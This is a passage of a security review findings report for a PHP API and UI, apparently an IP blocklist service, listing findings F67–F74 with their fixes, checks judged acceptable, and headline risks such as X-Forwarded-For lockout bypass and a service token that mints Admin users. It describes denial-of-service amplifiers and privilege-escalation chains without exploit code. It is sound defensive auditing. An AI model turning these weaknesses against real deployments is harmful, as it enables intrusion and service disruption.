.env.example— bothAPP_SECRETandUI_SECRETlines.api/config/settings.php—'app_secret'settings key.ui/config/settings.php—'ui_secret'settings key.api/src/Application/Admin/ConfigController.php— theAPP_SECRETline in the masked-config response, plus the docblock-listed masking rules.api/tests/Integration/Support/AppTestCase.phpandui/tests/Integration/Support/AppTestCase.php— test fixture overrides.doc/user-manual.mdanddoc/security.md— operator guidance that pointed at the removed env vars. Operators upgrading from a prior release can leave the lines in their.env; both apps now ignore them. F67 (validator-doesn't- check-UI_SECRET) is closed by the same change sinceUI_SECRETno longer exists to validate.F67 — UI
Config::validateOrExitdoes not checkUI_SECRETdespite docs
- Files:
ui/src/App/Config.php:20-55,.env.example:82- Risk:
.env.example:82documentsUI_SECRETas required ("signs session cookies") but the boot validator does not check it. Sessions are unsigned PHP-native files. Misleading documentation.- Severity: 1
- Status: Fixed alongside F66 by removing
UI_SECRETentirely rather than wiring the signing the docs implied. The docs/ validator mismatch the SEC_REVIEW called out is resolved by deleting the misleading half:.env.example,ui/config/settings.php, anddoc/user-manual.md/doc/security.mdno longer mentionUI_SECRET. Sessions remain PHP-native files (the storage was never actually signed by anything in the existing code), but nothing in the deploy documentation now claims otherwise.F68 —
/api/v1/openapi.yamland/api/docsare unauthenticated
- Files:
api/src/App/AppFactory.php:99-101,api/docker/Caddyfile:40-44- Risk: The 48 KB OpenAPI spec leaks the full surface of admin endpoints, internal-job endpoints, expected query/body shapes, and error contracts to unauthenticated callers. Defaults to internet-reachable. Aids reconnaissance. Gate behind a flag like
API_DOCS_PUBLICor move to an authenticated path.- Severity: 1
- Status: Fixed. New
api_docs_publicsetting (read from theAPI_DOCS_PUBLICenv var, defaultfalse).AppFactory::buildnow only registersGET /api/docsandGET /api/v1/openapi.yamlwhen the flag istrue; with the default, both paths are simply never registered, so Slim returns 404 like any other unmapped path. Operators who want the docs viewer (open APIs, dev environments) opt in by settingAPI_DOCS_PUBLIC=truein the environment. The.env.exampledocuments the gate alongside the other api-side settings. Caddyfile's@docs-path CSP block is unchanged — it now only takes effect for the 404 responses on the unregistered paths, which is harmless. Regression tests inapi/tests/Integration/Public/DocsControllerTest.php:testDocsPageIs404ByDefaultandtestOpenapiSpecIs404ByDefaultexercise the off-state directly; the F58 SRI test (testDocsPageEmbedsRapiDocWithSriIntegrity) and the spec-served smoke test now route through a smallenableDocs()helper that flips the setting and rebuilds the app, mirroring the binding- override patternJobsAdminControllerTestalready uses.F69 —
ReportControllerparses unbounded JSON body before size checks
- Files:
api/src/Application/Public/ReportController.php:99-113, 184-197,api/src/App/AppFactory.php:67- Risk:
jsonBody()reads(string) $request->getBody()andjson_decodes it without a pre-decoding size check. The 4 KBMETADATA_MAX_BYTESis checked only after decoding succeeds — the full body is in memory by then. PHPpost_max_size/memory_limitare not configured anywhere in the docker stack. An authenticated reporter (one weak token suffices) can POST a 100 MB body and burn memory; metadata-depth nesting up to PHP's 512 default amplifies. SetJSON_THROW_ON_ERROR, cap body size in Caddy, and enforcephp_value memory_limit.- Severity: 1
- Status: Fixed at the application layer. Two new defences:
RequestBodySizeLimitMiddlewareunderapi/src/Infrastructure/Http/Middleware/. Wired globally inAppFactory::buildAFTERaddBodyParsingMiddleware()so it runs FIRST on the inbound LIFO stack — meaning Slim's body parser never reads a body that exceeds the 256 KiB cap. Two layers of check:Content-Lengthheader (catches the well-behaved client) andgetSize()fallback (catches a stream that knows its length even if the header lied or was omitted). Returns 413payload_too_largeJSON without touching the stream.ReportController::jsonBody()hardening. The fall- through path that ran when Slim's parser didn't recognise theContent-Typenow usesjson_decode($raw, true, JSON_DEPTH_CAP=32, JSON_THROW_ON_ERROR), withJsonExceptioncaught and translated to "treat as empty body". 32 levels is plenty for legitimate metadata shapes; PHP's 512 default left a deep-recursion amplifier in place even after the byte cap. Per-endpoint caps (the existing 4 KiBmetadatalimit) layer on top, and Caddy'srequest_body { max_size … }is the outermost bound — operators can configure that per-route in the Caddyfile if they want to fail-closed before PHP is invoked at all. The 256 KiB application-layer cap is generous enough for every legitimate admin payload (largest is a multi-line description, ≤16 KiB) while bounding the worst-case at "no single request can fill memory by itself". Regression tests:- Unit:
api/tests/Unit/Http/RequestBodySizeLimitMiddlewareTest.phpcovers under-cap-passes, over-cap-by-Content-Length-rejected, over-cap-by-stream-size-rejected (Content-Length absent), empty-body-passes, and non-numeric-Content-Length-still- caught-by-stream-size.- Integration:
api/tests/Integration/Public/ReportControllerTest.phptestOversizedRequestBodyIsRejectedWith413posts a 512 KiB JSON body and asserts 413 +payload_too_largeenvelope;testDeeplyNestedJsonDoesNotBlowTheStackposts a 100-deep nested object and asserts no 500/exception leaks.F70 —
BlocklistController?format=jsonforces sha256-of-50k-entries on every cache miss
- File:
api/src/Application/Public/BlocklistController.php:80-85, 176-193- Risk: A consumer can request the more expensive JSON renderer on demand. Per-process
BlocklistCacheTTL=30s — every cache miss rebuilds and rehashes. Combined with the per-token-only rate limit, a single consumer at 60 req/s sustains 60 full build-and-hash operations per second per replica. Header size limits cap theIf-None-Matchparse loop but it is still an amplifier. Constrainformatper consumer (only allow what the consumer typically uses).- Severity: 1
- Status: Fixed by extending
BlocklistCacheto cache the rendered body and its sha256 ETag per(policy_id, format), not just the underlyingBlocklistdomain object. NewBlocklistCache::getRendered(Policy, format, callable $render)invokes the render callback at most once per cache window per format; subsequent hits return the cachedbody+etagverbatim. The render+hash work that previously paid the full sha256-of-N-entries cost on every request now runs once per cache window per replica per format, regardless of request rate.BlocklistControllerswitched to the new method and feeds it a small closure for each format; the choice betweenrenderTextandrenderJsonis the only thing varying per request now. The per-format invalidation contract fromgetOrBuildis preserved via the sameinvalidate($policyId)/invalidateAll()surface (the rendered entries live inside the same cache row, so dropping the row drops both the build and every render alongside it). Per-consumer format constraint is still possible as a future tightening but isn't necessary to defeat the F70 amplifier — the cache already does. Regression tests inapi/tests/Integration/Public/BlocklistControllerTest.php:testBlocklistRenderIsCachedAcrossRequests(two sequential JSON requests produce byte-identical bodies and ETags) andtestTextAndJsonRendersBothCachedIndependently(alternating format requests preserve each format's cache; text and JSON ETags differ because their bodies differ).F71 —
BlocklistCacheis not size-bounded
- File:
api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59- Risk: The cache map is keyed by
$policy->idand grows monotonically with no LRU. Admin-creatable, but unbounded. Add a bounded LRU (e.g. 16 policies cached).- Severity: 1
- Status: Fixed. New
BlocklistCache::MAX_ENTRIES = 16cap (also configurable via the constructor's new$maxEntriesargument). Insertion goes through a privatestore()helper that unset-then-assigns the key (which pushes it to the end of PHP's insertion-ordered array) and evictsarray_key_first()past the cap. Reads throughgetOrBuild/getRenderedmark the entry as most-recently-used via a privatetouch()helper. Both paths preserve the existing per-policy invalidation contract (invalidate($policyId)/invalidateAll()). Worst-case memory is now bounded by 16 × the per-policy build cost, regardless of how many policies an admin creates over the worker's lifetime. Two tiny@internalaccessors —entryCount()andcachedPolicyIds()— let the regression test inspect cache state without reaching into private fields via reflection. Regression test inapi/tests/Integration/Public/BlocklistControllerTest.php:testCacheIsLruBoundedAtSixteenEntriesrebuilds the cache with a 30 s TTL (the test fixture default is 0 s = no caching), creates 18 policies and one consumer per policy, hits/api/v1/blocklistfor each, then assertsentryCount() ≤ MAX_ENTRIES, the two oldest policy IDs are NOT in the cache, and the most-recent one IS. The 10 pre-existing BlocklistController tests still pass.F72 —
/ips/{ip:.+}accepts unbounded path parameter
- Files:
api/src/App/AppFactory.php:256,api/src/Application/Admin/IpsController.php:121-127- Risk: A logged-in Viewer can call
/api/v1/admin/ips/<10MB>.rawurldecoderuns on the entire string;IpAddress::fromStringapplies regex. Web-server URL-length limits typically cap this at a few KB but mitigations are environment-specific. Tighten the regex to a strict IP character class.- Severity: 1
- Status: Fixed by extending the F43 charset constraint with a per-route length cap. Both routes (
/api/v1/admin/ips/{ip}and/app/ips/{ip}) now use[0-9a-fA-F.:%]{1,80}instead of[0-9a-fA-F.:%]+. 80 chars covers IPv4 (≤15), canonical IPv6 (≤39), and IPv6 with every colon urlencoded as%3A(≤53) with comfortable headroom. Anything past that — including the 10 MB string the SEC_REVIEW called out — fails to match the route and 404s beforerawurldecodeis invoked, beforeIpAddress::fromStringruns any regex, and before any future code path could read the param as a filename / log key / downstream URL component. The web server's URL-length limit is still the outermost bound; this change is the deterministic application-layer cap that doesn't rely on the deployment environment. Regression tests added inapi/tests/Integration/Admin/IpsControllerTest.php—testDetailRejectsNonIpShapedPathsdata-provider gainsoversized digits(81 ones) andoversized hex(200 a's), both 404.F73 — UI
JsonExceptionHandlergetCode()type-juggling for HTTP status
- File:
ui/src/Http/JsonExceptionHandler.php:40-63- Risk:
getCode()from arbitraryThrowableis used as HTTP status if it is in[400, 600). PDOException'sgetCode()is a SQLSTATE string (e.g.'42S02') — coerced via comparison. A string like'400'would set status 400 and skip prod message-suppression. Cast to int explicitly and reject non-numeric codes.- Severity: 1
- Status: Fixed.
JsonExceptionHandler::__invokenow requiresis_int($code)before treatinggetCode()as an HTTP status. PDO-derived exceptions return SQLSTATE strings — the previous>= 400 && < 600loose-compare coerced them to int and could land on a real status for the wrong reason ('400'→ 400 with the prod message-suppression skipped). The new gate falls back to 500 for any non-int code, including the default 0 fromnew \Exception('msg'). Regression tests inui/tests/Unit/Http/JsonExceptionHandlerTest.php:testStringCodeFallsBackTo500(a'400'string code → 500),testIntCodeInRangeIsHonored(a real403→ 403),testIntCodeOutOfRangeFallsBackTo500(200 not an error code → 500),testCodeOfZeroFallsBackTo500(default 0 → 500),testSqlstateLikeStringIsNotCoercedIntoStatus('42S02'→ 500).F74 —
LoginThrottlewriteslogger->warningper failure with no log-rate cap
- File:
ui/src/Auth/LoginThrottle.php:79-93- Risk: A sustained brute-force attack at 100 req/s fills disk via the structured logger. No log-rate cap, no aggregation. Pair with F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
- Severity: 1
Reviewed and acceptable
The following candidate concerns were checked and are not findings in the current code. Listed for completeness so the next reviewer doesn't redo the same work.
- No raw SQL interpolation of user input. All repositories bind via DBAL named/positional parameters. The only
sprintfinto SQL is for table names where values are hardcoded constants or?placeholder counts.- No
ORDER BYinjection. EveryORDER BYuses constants — no user-controlled sort column anywhere reviewed.- No
unserialize,eval,exec,shell_exec,system,passthru,proc_open,popen, backticks, orpreg_replace /emodifier anywhere inapi/srcorui/src(vendor excluded).- IP/CIDR parsing (
IpAddress::fromString,Cidr::fromString) is strict — rejects whitespace, leading zeros, bracketed IPv6, zone identifiers, malformed octets.- Token format & entropy.
random_bytes(20)= 160 bits, base32 encoded. SHA-256 storage at rest. Lookup is by hash — no timing side channel.- Constant-time comparisons used where they matter (
hash_equalsin CSRF, internal token, local-admin username).- OIDC
S256PKCE explicitly set; missingsubclaim rejected.- Failed-token responses are uniform 401 — no distinction between missing/malformed/unknown/revoked/expired.
- Impersonation header is silently ignored on non-service tokens.
- Impersonation user id strictly validated as
^[1-9][0-9]*$.- JobRunner orchestrates entirely via DBAL — no shell-out.
- MmdbVerifier opens MMDB via
MaxMind\Db\Readerwith node-count thresholds; truncated/empty downloads fail closed.- UI Guzzle client uses a fixed
API_BASE_URLfrom env — not user-retargetable.MaintenanceController::purgeloops'DELETE FROM '.$tableover a hard-coded allowlist.- Twig auto-escape (HTML) is the default; no
|rawover user-controlled data was found.- Logout is POST-only and CSRF-protected.
- Session cookie attributes (
HttpOnly,Securein prod,SameSite=Lax) are correct.PharData::extractTorejects path traversal since PHP 8.
Summary of severity counts
Severity Count 3 5 2 27 1 42 Total 74 The headline risks are: (a) the brute-force lockout is bypassable trivially via
X-Forwarded-Forspoofing or distributed sources (F1, F2), (b) a leaked or unrotated service token is a single-step total compromise because/api/v1/auth/upsert-localmints Admin users with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit integrity rests on a non-transactional best-effort second write that silently no-ops on failure (F4, F5). The combination of these means a single compromised credential plus a deliberately-failed audit insert yields un-traced privilege escalation.